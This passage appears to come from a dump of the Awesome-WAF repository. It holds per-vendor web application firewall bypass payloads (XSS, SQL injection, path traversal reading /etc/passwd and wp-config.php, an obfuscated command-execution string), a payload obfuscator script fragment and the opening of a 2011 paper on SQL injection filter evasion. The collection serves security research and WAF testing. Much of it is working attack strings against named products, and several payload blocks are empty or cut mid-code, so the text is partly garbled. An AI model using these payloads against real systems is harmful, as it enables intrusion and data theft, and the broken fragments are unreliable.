[@sp1d3rs](https://twitter.com/h1_sp1d3rs)\n```\n%2522%253E%253Csvg%2520height%3D%2522100%2522%2520width%3D%2522100%2522%253E%2520%253Ccircle%2520cx%3D%252250%2522%2520cy%3D%252250%2522%2520r%3D%252240%2522%2520stroke%3D%2522black%2522%2520stroke-width%3D%25223%2522%2520fill%3D%2522red%2522%2520%2F%253E%2520%253C%2Fsvg%253E\n```\n- [XSS Bypass](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c) by [@Jonathan Bouman](https://twitter.com/jonathanbouman)\n```\n\n```\n- XSS Bypass by [@0xInfection](https://twitter.com/0xInfection)\n```\n\n```\n- [XSS Bypass](https://hackerone.com/reports/263226) by [@sp1d3rs](https://twitter.com/h1_sp1d3rs)\n```\n%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E\n```\n- [XSS Bypass](https://twitter.com/fransrosen/status/1126963506723590148) by [@Frans Rosén](https://twitter.com/fransrosen)\n```\n\n```\n- [XSS Bypass](https://twitter.com/security_prince/status/1127804521315426304) by [@Ishaq Mohammed](https://twitter.com/security_prince)\n```\n\n```\n\n### Profense\n- [GET Type CSRF Attack](https://www.exploit-db.com/exploits/7919) by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2)\n\nTurn off Proface Machine \n```\n\n```\nAdd a proxy\n```\n\n```\n\n- XSS Bypass by [@Michael Brooks](https://www.exploit-db.com/?author=628) (>= v.2.6.2)\n```\nhttps://host:2000/proxy.html?action=manage&main=log&show=deny_log&proxy=>\"\n```\n- [XSS Bypass](https://www.securityfocus.com/bid/35053/info) by [@EnableSecurity](https://enablesecurity.com) (>= v2.4)\n```\n%3CEvil%20script%20goes%20here%3E=%0AByPass\n%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E \n```\n\n### QuickDefense\n- XSS Bypass by [@WAFNinja](https://waf.ninja/)\n```\n?\n
\n```\n\n### Sucuri\n- [XSS Bypass (POST Only)](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic)\n```\n\n```\n- [Smuggling RCE Payloads](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle)\n```\n/???/??t+/???/??ss??\n```\n- [Obfuscating RCE Payloads](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) by [@theMiddle](https://twitter.com/Menin_TheMiddle)\n```\n;+cat+/e'tc/pass'wd\nc\\\\a\\\\t+/et\\\\c/pas\\\\swd\n```\n- [XSS Bypass](https://twitter.com/return_0x/status/1148605627180208129) by [@Luka](https://twitter.com/return_0x)\n```\n\">\n```\n- [XSS Bypass](https://twitter.com/brutelogic/status/1148610104738099201) by [@Brute Logic](https://twitter.com/brutelogic)\n```\ndata:text/html,
\n\">\n
\n```\n\n### StackPath\n- [XSS Bypass](https://twitter.com/0xInfection/status/1298642820664823808) by [@0xInfection](https://twitter.com/0xInfection)\n```\n\nclickme\n```\n\n### URLScan\n- [Directory Traversal](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L557) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275) (<= v3.1) (Only on ASP.NET)\n```\nhttp://host.com/test.asp?file=.%./bla.txt\n```\n\n### WebARX\n- Cross Site Scripting by [@0xInfection](https://twitter.com/0xinfection)\n```\nrightclickhere\n```\n- [Bypassing All Protections Using A Whitelist String](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/) by [@Osanda Malith](https://twitter.com/OsandaMalith)\n\n - XSS PoC\n ```\n http://host.com/?vulnparam=&ithemes-sync-request\n ```\n - LFI PoC\n ```\n http://host.com/?vulnparam=../../../../../etc/passwd&ithemes-sync-request\n ```\n - SQLi PoC\n ```\n http://host.com/?vulnparam=1%20unionselect%20@@version,2--&ithemes-sync-request\n ```\n\n### WebKnight\n- Cross Site Scripting by [@WAFNinja](https://waf.ninja/)\n```\n\n\n
\n
Right-Click Here\n\n```\n- SQLi by [@WAFNinja](https://waf.ninja)\n```\n0 union(select 1,username,password from(users))\n0 union(select 1,@@hostname,@@datadir)\n```\n- XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan) (v4.1)\n```\n
\n
Right-Click Here\n```\n- [SQLi Bypass](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L562) by [@ZeQ3uL](http://www.exploit-db.com/author/?a=1275)\n```\n10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)\n```\n\n### Wordfence\n- XSS Bypass by [@brute Logic](https://twitter.com/brutelogic)\n```\n\n\n```\n- XSS Bypass by [@0xInfection](https://twitter.com/0xInfection)\n```\nclick\n```\n- [HTML Injection](https://www.securityfocus.com/bid/69815/info) by [@Voxel](https://www.exploit-db.com/?author=8505)\n```\nhttp://host/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php\n```\n- [XSS Exploit](https://www.securityfocus.com/bid/56159/info) by [@MustLive](https://www.exploit-db.com/?author=1293) (>= v3.3.5)\n```\n\n\nWordfence Security XSS exploit (C) 2012 MustLive. \nhttp://websecurity.com.ua\n\n\n
\nalert(document.cookie)\">\n
\n\n\n```\n- [Other XSS Bypasses](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md)\n```\n>
\"\n>>\n```\n\n### Apache Generic\n- Writing method type in lowercase by [@i_bo0om](http://twitter.com/i_bo0om)\n```\nget /login HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n### IIS Generic\n- Tabs before method by [@i_bo0om](http://twitter.com/i_bo0om)\n```\n GET /login.php HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n## Awesome Tools\n### Fingerprinting:\n- [WAFW00F](https://github.com/enablesecurity/wafw00f) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity](https://github.com/enablesecurity).\n- [IdentYwaf](https://github.com/stamparm/identywaf) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm](https://github.com/stamparm).\n\n### Testing:\n- [GoTestWAF](https://github.com/wallarm/gotestwaf) - A tool to test a WAF's detection logic and bypasses from [@wallarm](https://github.com/wallarm).\n- [Lightbulb Framework](https://github.com/lightbulb-framework/lightbulb-framework) - A WAF testing suite written in Python.\n- [WAFBench](https://github.com/microsoft/wafbench) - A WAF performance testing suite by [Microsoft](https://github.com/microsoft).\n- [WAF Testing Framework](https://www.imperva.com/lg/lgw_trial.asp?pid=483) - A WAF testing tool by [Imperva](https://imperva.com).\n- [Framework for Testing WAFs (FTW)](https://github.com/coreruleset/ftw) - A framework by the [OWASP CRS team](https://coreruleset.org/) that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.\n\n### Evasion: \n- [WAFNinja](https://github.com/khalilbijjou/wafninja) - A smart tool which fuzzes and can suggest bypasses for a given WAF by [@khalilbijjou](https://github.com/khalilbijjou/).\n- [WAFTester](https://github.com/Raz0r/waftester) - Another tool which can obfuscate payloads to bypass WAFs by [@Raz0r](https://github.com/Raz0r/).\n- [libinjection-fuzzer](https://github.com/migolovanov/libinjection-fuzzer) - A fuzzer intended for finding `libinjection` bypasses but can be probably used universally.\n- [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history) - A tool which searches for old DNS records for finding actual site behind the WAF.\n- [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf) - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.\n- [SQLMap Tamper Scripts](https://github.com/sqlmapproject/sqlmap) - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.\n- [Bypass WAF BurpSuite Plugin](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c) - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.\n- [enumXFF](https://github.com/infosec-au/enumXFF) - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions\n- [WAF Bypass Tool](https://github.com/nemesida-waf/waf-bypass) - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads.\n\n### Management:\n- [AWS Firewall Factory](https://github.com/globaldatanet/aws-firewall-factory) - Deploy, update, and stage your WAFs while managing them centrally via FMS.\n\n## Blogs and Writeups\n> Many of the content mentioned above have been taken from some of the following excellent writeups.\n\n- [Web Application Firewall (WAF) Evasion Techniques #1](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) - By [@Secjuice](https://www.secjuice.com).\n- [Web Application Firewall (WAF) Evasion Techniques #2](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) - By [@Secjuice](https://www.secjuice.com).\n- [Web Application Firewall (WAF) Evasion Techniques #3](https://www.secjuice.com/web-application-firewall-waf-evasion/) - By [@Secjuice](https://www.secjuice.com).\n- [How To Exploit PHP Remotely To Bypass Filters & WAF Rules](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/)- By [@Secjuice](https://secjuice.com)\n- [ModSecurity SQL Injection Challenge: Lessons Learned](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) - By [@SpiderLabs](https://trustwave.com).\n- [XXE that can Bypass WAF](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0) - By [@WallArm](https://labs.wallarm.com).\n- [SQL Injection Bypassing WAF](https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF) - By [@OWASP](https://owasp.com).\n- [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/) - By [@SunnyHoi](https://twitter.com/sunnyhoi).\n- [Bypassing Web-Application Firewalls by abusing SSL/TLS](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html) - By [@0x09AL](https://twitter.com/0x09al).\n- [Request Encoding to Bypass WAFs](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/) - By [@Soroush Dalili](https://twitter.com/irsdl)\n\n## Video Presentations\n- [WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior](https://www.youtube.com/watch?v=tSf_IXfuzXk) from [@OWASP](https://owasp.org).\n- [Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls](https://www.youtube.com/watch?v=PVVG4rCFZGU) from [BlackHat USA 12](https://blackhat.com/html/bh-us-12).\n- [Web Application Firewall - Analysis of Detection Logic](https://www.youtube.com/watch?v=dMFJLicdaC0) from [BlackHat](https://blackhat.com).\n- [Bypassing Browser Security Policies for Fun & Profit](https://www.youtube.com/watch?v=P5R4KeCzO-Q) from [BlackHat](https://blackhat.com).\n- [Web Application Firewall Bypassing](https://www.youtube.com/watch?v=SD7ForrwUMY) from [Positive Technologies](https://ptsecurity.com).\n- [Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks](https://www.usenix.org/conference/woot12/workshop-program/presentation/schmitt) from [@UseNix](https://www.usenix.com).\n- [Evading Deep Inspection Systems for Fun and Shell](https://www.youtube.com/watch?v=BkmPZhgLmRo) from [BlackHat US 13](https://blackhat.com/html/bh-us-13).\n- [Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload)](https://www.youtube.com/watch?v=lWoxAjvgiHs) from [Fools of Security](https://www.youtube.com/channel/UCEBHO0kD1WFvIhf9wBCU-VQ).\n- [WAFs FTW! A modern devops approach to security testing your WAF](https://www.youtube.com/watch?v=05Uy0R7UdFw) from [AppSec USA 17](https://www.youtube.com/user/OWASPGLOBAL).\n- [Web Application Firewall Bypassing WorkShop](https://www.youtube.com/watch?v=zfBT7Kc57xs) from [OWASP](https://owasp.com).\n- [Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch](https://www.youtube.com/watch?v=dWLpw-7_pa8) from [Rafay Bloch](http://rafaybaloch.com).\n- [WTF - WAF Testing Framework](https://www.youtube.com/watch?v=ixb-L5JWJgI) from [AppSecUSA 13](https://owasp.org).\n- [The Death of a Web App Firewall](https://www.youtube.com/watch?v=mB_xGSNm8Z0) from [Brian McHenry](https://www.youtube.com/channel/UCxzs-N2sHnXFwi0XjDIMTPg).\n- [Adventures with the WAF](https://www.youtube.com/watch?v=rdwB_p0KZXM) from [BSides Manchester](https://www.youtube.com/channel/UC1mLiimOTqZFK98VwM8Ke4w).\n- [Bypassing Intrusion Detection Systems](https://www.youtube.com/watch?v=cJ3LhQXzrXw) from [BlackHat](https://blackhat.com).\n- [Building Your Own WAF as a Service and Forgetting about False Positives](https://www.youtube.com/watch?v=dgqUcHprolc) from [Auscert](https://conference.auscert.org.au).\n\n## Presentations & Research Papers\n### Research Papers:\n- [Protocol Level WAF Evasion](papers/Qualys%20Guide%20-%20Protocol-Level%20WAF%20Evasion.pdf) - A protocol level WAF evasion techniques and analysis by [Qualys](https://www.qualys.com).\n- [Neural Network based WAF for SQLi](papers/Artificial%20Neural%20Network%20based%20WAF%20for%20SQL%20Injection.pdf) - A paper about building a neural network based WAF for detecting SQLi attacks.\n- [Bypassing Web Application Firewalls with HTTP Parameter Pollution](papers/Bypassing%20Web%20Application%20Firewalls%20with%20HTTP%20Parameter%20Pollution.pdf) - A research paper from [Exploit DB](https://exploit-db.com) about effectively bypassing WAFs via HTTP Parameter Pollution.\n- [Poking A Hole in the Firewall](papers/Poking%20A%20Hole%20In%20The%20Firewall.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about modern firewall analysis.\n- [Modern WAF Fingerprinting and XSS Filter Bypass](papers/Modern%20WAF%20Fingerprinting%20and%20XSS%20Filter%20Bypass.pdf) - A paper by [Rafay Baloch](https://www.rafaybaloch.com) about WAF fingerprinting and bypassing XSS filters.\n- [WAF Evasion Testing](papers/SANS%20Guide%20-%20WAF%20Evasion%20Testing.pdf) - A WAF evasion testing guide from [SANS](https://www.sans.org).\n- [Side Channel Attacks for Fingerprinting WAF Filter Rules](papers/Side%20Channel%20(Timing)%20Attacks%20for%20Fingerprinting%20WAF%20Rules.pdf) - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12).\n- [WASC WAF Evaluation Criteria](papers/WASC%20WAF%20Evaluation%20Criteria.pdf) - A guide for WAF Evaluation from [Web Application Security Consortium](http://www.webappsec.org).\n- [WAF Evaluation and Analysis](papers/Web%20Application%20Firewalls%20-%20Evaluation%20and%20Analysis.pdf) - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from [University of Amsterdam](http://www.uva.nl).\n- [Bypassing all WAF XSS Filters](papers/Evading%20All%20Web-Application%20Firewalls%20XSS%20Filters.pdf) - A paper about bypassing all XSS filter rules and evading WAFs for XSS.\n- [Beyond SQLi - Obfuscate and Bypass WAFs](papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt) - A research paper from [Exploit Database](https://exploit-db.com) about obfuscating SQL injection queries to effectively bypass WAFs.\n- [Bypassing WAF XSS Detection Mechanisms](papers/Bypassing%20WAF%20XSS%20Detection%20Mechanisms.pdf) - A research paper about bypassing XSS detection mechanisms in WAFs. \n\n### Presentations:\n- [Methods to Bypass a Web Application Firewall](presentrations/Methods%20To%20Bypass%20A%20Web%20Application%20Firewall.pdf) - A presentation from [PT Security](https://www.ptsecurity.com) about bypassing WAF filters and evasion.\n- [Web Application Firewall Bypassing (How to Defeat the Blue Team)](presentation/Web%20Application%20Firewall%20Bypassing%20(How%20to%20Defeat%20the%20Blue%20Team).pdf) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by [@OWASP](https://owasp.org). \n- [WAF Profiling & Evasion Techniques](presentations/OWASP%20WAF%20Profiling%20&%20Evasion.pdf) - A WAF testing and evasion guide from [OWASP](https://www.owasp.org).\n- [Protocol Level WAF Evasion Techniques](presentations/BlackHat%20US%2012%20-%20Protocol%20Level%20WAF%20Evasion%20(Slides).pdf) - A presentation at about efficiently evading WAFs at protocol level from [BlackHat US 12](https://www.blackhat.com/html/bh-us-12/).\n- [Analysing Attacking Detection Logic Mechanisms](presentations/BlackHat%20US%2016%20-%20Analysis%20of%20Attack%20Detection%20Logic.pdf) - A presentation about WAF logic applied to detecting attacks from [BlackHat US 16](https://www.blackhat.com/html/bh-us-16/).\n- [WAF Bypasses and PHP Exploits](presentations/WAF%20Bypasses%20and%20PHP%20Exploits%20(Slides).pdf) - A presentation about evading WAFs and developing related PHP exploits.\n- [Side Channel Attacks for Fingerprinting WAF Filter Rules](presentations/Side%20Channel%20Attacks%20for%20Fingerprinting%20WAF%20Filter%20Rules.pdf) - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12](https://www.usenix.org/conference/woot12).\n- [Our Favorite XSS Filters/IDS and how to Attack Them](presentations/Our%20Favourite%20XSS%20WAF%20Filters%20And%20How%20To%20Bypass%20Them.pdf) - A presentation about how to evade XSS filters set by WAF rules from [BlackHat USA 09](https://www.blackhat.com/html/bh-us-09/).\n- [Playing Around with WAFs](presentations/Playing%20Around%20with%20WAFs.pdf) - A small presentation about WAF profiling and playing around with them from [Defcon 16](http://www.defcon.org/html/defcon-16/dc-16-post.html).\n- [A Forgotten HTTP Invisibility Cloak](presentation/A%20Forgotten%20HTTP%20Invisibility%20Cloak.pdf) - A presentation about techniques that can be used to bypass common WAFs from [BSides Manchester](https://www.bsidesmcr.org.uk/).\n- [Building Your Own WAF as a Service and Forgetting about False Positives](presentations/Building%20Your%20Own%20WAF%20as%20a%20Service%20and%20Forgetting%20about%20False%20Positives.pdf) - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency [Auscert2019](https://conference.auscert.org.au/).\n\n## Credits & License:\nInitial fingerprint compilation and bypasses were put together by [Pinaki](https://twitter.com/0xInfection) [(0xInfection)](https://github.com/0xinfection), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the [Apache 2.0 License](LICENSE). \n" }, { "path": "others/README.md", "content": "## [`obfu.py`](https://github.com/0xinfection/awesome-waf/blob/master/others/obfu.py)\n> A small script to encode and obfuscate your payloads easily to your desired encodings.\n\n### Usage:\n```\n$ python obfu.py -h\n\n OBFUSCATOR\n\nusage: python3 obfu.py [-h] [-s STR] [-e ENC] [-ueo] [-udi]\n\nRequired Arguments:\n -s STR, --str STR String to obfuscate\n -e ENC, --enc ENC Encoding type. eg: ibm037, utf16, etc\n\nOptional Arguments:\n -ueo URL Encode Output\n -udi URL Decode Input\n```\n### Example Usage:\n```\n$ python3 obfu.py -s 'param= 1:\n parser.print_help()\n quit()\n print('Input: %s' % (args.str))\n print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))\n\nif __name__ == '__main__':\n main()\n" }, { "path": "papers/Beyond SQLi - Obfuscate and Bypass WAFs.txt", "content": "\t\t|=--------------------------------------------------------------------=|\n\t\t|=--------------=[ Beyond SQLi: Obfuscate and Bypass ]=---------------=|\n\t\t|=-------------------------=[ 6 October 2011 ]=-----------------------=|\n\t\t|=----------------------=[ By CWH Underground ]=--------------------=|\n\t\t|=--------------------------------------------------------------------=|\n\t\t\t\t\n\n######\n Info\n######\n\nTitle\t: Beyond SQLi: Obfuscate and Bypass\nAuthor\t: \"ZeQ3uL\" (Prathan Phongthiproek) and \"Suphot Boonchamnan\"\nTeam : CWH Underground [http://www.exploit-db.com/author/?a=1275]\nDate\t: 2011-10-06\n\n\n##########\n Contents\n##########\n\n [0x00] - Introduction\n\n [0x01] - Filter Evasion (Mysql)\n\n\t\t[0x01a] - Bypass Functions and Keywords Filtering\n\t\t[0x01b] - Bypass Regular Expression Filtering\n\t\t\n [0x02] - Normally Bypassing Techniques\n\n [0x03] - Advanced Bypassing Techniques\n\n\t\t[0x03a] - HTTP Parameter Pollution: Split and Join\n\t\t[0x03b] - HTTP Parameter Contamination\n \t\t\n [0x04] - How to protect your website\n\n [0x05] - Conclusion\n\n [0x06] - References\n\n [0x07] - Greetz To\n\n\n#######################\n [0x00] - Introduction\n#######################\n\n\tWelcome readers, this paper is a long attempt at documenting advanced SQL injection we have been working on. \nThis papers will disclose advanced bypassing and obfuscation techniques which many of them can be used in the real CMSs and WAFs. The proposed SQL injection statements in this paper are just some ways to bypass the protection. \nThere are still some other techniques can be used to attacks web applications but unfortunately we cannot tell you right now, as it is kept as a 0-day attack. However, this paper aims to show that there is no completely secure system \nin the real world even though you spend more than 300,000 USD on a WAF.\n\n\tThis paper is divided into 7 sections but only from section 0x01 to 0x03 are about technical information.\n\n\tSection 0x01, we give a details of how to bypass filter including basic, function and keyword.\nSection 0x02, we offer normally bypassing techniques for bypass OpenSource and Commercial WAF.\nSection 0x03, we talk in-depth Advanced bypassing techniques that separate into 2 section, \"HTTP Parameter Contamination\".\nand \"HTTP Pollution: Split and Join\". Section 0x04, we guide to protect your own website on the right solution. \nThe last, section 0x05, It's conclusion from Section 0x01-0x04.\n\n\n#################################\n [0x01] - Filter Evasion (Mysql)\n#################################\n\t\n\tThis section will describe filter evasion behaviors based on PHP and MySQL and how to bypass the filtering. Filter Evasion is a technique used to prevent SQL injection attacks. This technique can be done by using a SQL functions and keywords filtering or regular expressions. \nThis means that filter evasion relies heavily upon how storing a black list or regular expression is. If the black list or regular expression does not cover every injection scenario, the web application is still vulnerable to SQL Injection attacks.\n\n\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\t [0x01a] - Bypass Functions and Keywords Filtering\n\t+++++++++++++++++++++++++++++++++++++++++++++++++++\n\t\n\t\tFunctions and keywords filtering prevents web applications from being attacked by using a functions and keywords black list. If an attackers submits an injection code containing a keyword or SQL function in the black list, the injection will be unsuccessful. \n\tHowever, if the attacker is able to manipulate the injection by using another keyword or function, the black list will fail to prevent the attack. In order to prevent attacks, a number of keywords and functions has to be put into the black list. However, this affects users \n\twhen the users want to submit input with a word in the black list. They will be unable to submit the input because it is being filtered by the black list. The following scenarios show cases of using functions and keywords filtering and bypassing techniques.\n\n\t\t\n\t\tKeyword filer: \t\tand, or\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or)/i', $id)\n\n\t\tTHe keywords and, or are usually used as a simple test to determine whether a web application is vulnerable to SQL Injection attacks. Here is a simple bypass using &&, || instead of and, or respectively.\n\n\t\tFiltered injection:\t1 or 1 = 1\t\t1 and 1 = 1\n\t\tBypassed injection:\t1 || 1 = 1\t\t1 && 1 = 1\n\t\t----------------------------------------------------------------------\n\n\n\t\tKeyword filer: \t\tand, or, union\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union)/i', $id)\n\n\t\tThe keyword union is generally used to generate an malicious statement in order to select extra data from the database. \n\n\t\tFiltered injection:\tunion select user, password from users\n\t\tBypassed injection:\t1 || (select user from users where user_id = 1) = 'admin'\n\n\t\t** Remark: you have to know table name, column name and some data in the table, otherwise you have to get it from information_schema.columns table using other statement \n\t\te.g. use substring function to get each character of table names.\n\t\t----------------------------------------------------------------------\n\n\t\t\n\t\tKeyword filer: \t\tand, or, union, where\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where)/i', $id)\n\t\tFiltered injection:\t1 || (select user from users where user_id = 1) = 'admin'\n\t\tBypassed injection:\t1 || (select user from users limit 1) = 'admin'\n\t\t----------------------------------------------------------------------\n\n\t\t\n\t\tKeyword filer: \t\tand, or, union, where, limit\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit)/i', $id)\n\t\tFiltered injection:\t1 || (select user from users limit 1) = 'admin'\n\t\tBypassed injection:\t1 || (select user from users group by user_id having user_id = 1) = 'admin'\n\t\t----------------------------------------------------------------------\n\n\n\t\tKeyword filer: \t\tand, or, union, where, limit, group by\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit|group by)/i', $id)\n\t\tFiltered injection:\t1 || (select user from users group by user_id having user_id = 1) = 'admin'\n\t\tBypassed injection:\t1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1\n\t\t----------------------------------------------------------------------\n\n\t\t\n\t\tKeyword filer: \t\tand, or, union, where, limit, group by, select\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit|group by|select)/i', $id)\n\t\tFiltered injection:\t1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1\n\t\tBypassed injection:\t1 || 1 = 1 into outfile 'result.txt'\n\t\tBypassed injection:\t1 || substr(user,1,1) = 'a'\n\t\t----------------------------------------------------------------------\n\n\n\t\tKeyword filer: \t\tand, or, union, where, limit, group by, select, '\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit|group by|select|\\')/i', $id)\n\t\tFiltered injection:\t1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1\n\t\tBypassed injection:\t1 || user_id is not null\n\t\tBypassed injection:\t1 || substr(user,1,1) = 0x61\n\t\tBypassed injection:\t1 || substr(user,1,1) = unhex(61)\n\t\t----------------------------------------------------------------------\n\n\n\t\tKeyword filer: \t\tand, or, union, where, limit, group by, select, ', hex\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit|group by|select|\\'|hex)/i', $id)\n\t\tFiltered injection:\t1 || substr(user,1,1) = unhex(61)\n\t\tBypassed injection:\t1 || substr(user,1,1) = lower(conv(11,10,36))\n\t\t----------------------------------------------------------------------\n\n\n\t\tKeyword filer: \t\tand, or, union, where, limit, group by, select, ', hex, substr\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit|group by|select|\\'|hex|substr)/i', $id)\n\t\tFiltered injection:\t1 || substr(user,1,1) = lower(conv(11,10,36))\n\t\tBypassed injection:\t1 || lpad(user,7,1)\n\t\t----------------------------------------------------------------------\n\n\n\t\tKeyword filer: \t\tand, or, union, where, limit, group by, select, ', hex, substr, white space\n\t\t----------------------------------------------------------------------\n\t\tPHP filter code:\tpreg_match('/(and|or|union|where|limit|group by|select|\\'|hex|substr|\\s)/i', $id)\n\t\tFiltered injection:\t1 || lpad(user,7,1)\n\t\tBypassed injection:\t1%0b||%0blpad(user,7,1)\n\t\t----------------------------------------------------------------------\n\n\n\t\tFrom the above examples, it can be seen that there are a number of SQL statements used for bypassing the black list although the black list contains many keywords and functions. \n\tFurthermore, there are a huge SQL statements, that are not on the mentioned examples, that can be used to bypass the black list.\n\n\t\tCreating a bigger black list is not a good idea to protect your own websites. Remember, the more keywords and functions filtering, the less user friendly.\n\n\n\t+++++++++++++++++++++++++++++++++++++++++++++++\n\t [0x01b] - Bypass Regular Expression Filtering\n\t+++++++++++++++++++++++++++++++++++++++++++++++\n\n\t\tRegular expression filtering is a better solution to prevent SQL injection than keywords and functions filtering because it is used pattern matching to detect attacks. Valid users are allowed to submit more flexible input to the server. \n\tHowever, many regular expression can also be bypassed. The following examples illustrate injection scripts that used to bypass regular expressions in the OpenSource PHPIDS 0.6.\n\n\tPHPIDS generally blocks input containing = or ( or ' following with any a string or integer e.g. 1 or 1=1, 1 or '1', 1 or char(97). However, it can be bypassed using a statement that does not contain =, ( or ' symbols. \n\n\t[Code]---------------------------------------------------------------\t\t\n\tfiltered injection:\t\t1 or 1 = 1\n\tBypassed injection:\t\t1 or 1\n\t[End Code]----------------------------------------------------------- \n\n\t[Code]---------------------------------------------------------------\t\t\n\tfiltered injection:\t\t1 union select 1, table_name from information_schema.tables where table_name = 'users'\n\tfiltered injection:\t\t1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z'\n\tfiltered injection:\t\t1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122)\n\tBypassed injection:\t\t1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a\n\tBypassed Injection:\t\t1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273\n\t[End Code]----------------------------------------------------------- \n\n\n\n########################################\n [0x02] - Normally Bypassing Techniques\n########################################\n\n\tIn this section, we mention about the techniques to bypass Web Application Firewall (WAF). First thing you need to know what's WAF?\n\t\n\tA web application firewall (WAF) is an appliance, server plugin, or filter that applies a set of rules to an HTTP conversation. \nGenerally, these rules cover common attacks such as Cross-site Scripting (XSS) and SQL Injection. By customizing the rules to your application, \nmany attacks can be identified and blocked. The effort to perform this customization can be significant and needs to be maintained as the application is modified.\n\tWAFs are often called 'Deep Packet Inspection Firewalls' coz they look at every request and response within the HTTP/HTTPS/SOAP/XML-RPC/Web service lacers.\nSome modern WAF systems work both with attack signatures and abnormal behavior.\n\n\tNow Let's rock to understand How to breach it with obfuscate, All WAFs can be bypassed with the time to understand their rules or using your imagination !!\n\n\t\n\t1. Bypass with Comments\n\n\t\tSQL comments allow us to bypass a lot of filtering and WAFs.\n\t\n\t\t[Code]---------------------------------------------------------------\t\t\n\t\thttp://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--\n\t\t[End Code]-----------------------------------------------------------\n\n\n\t2. Case Changing\n\n\t\tSome WAFs filter only lowercase SQL keyword.\t\n\n\t\tRegex Filter: 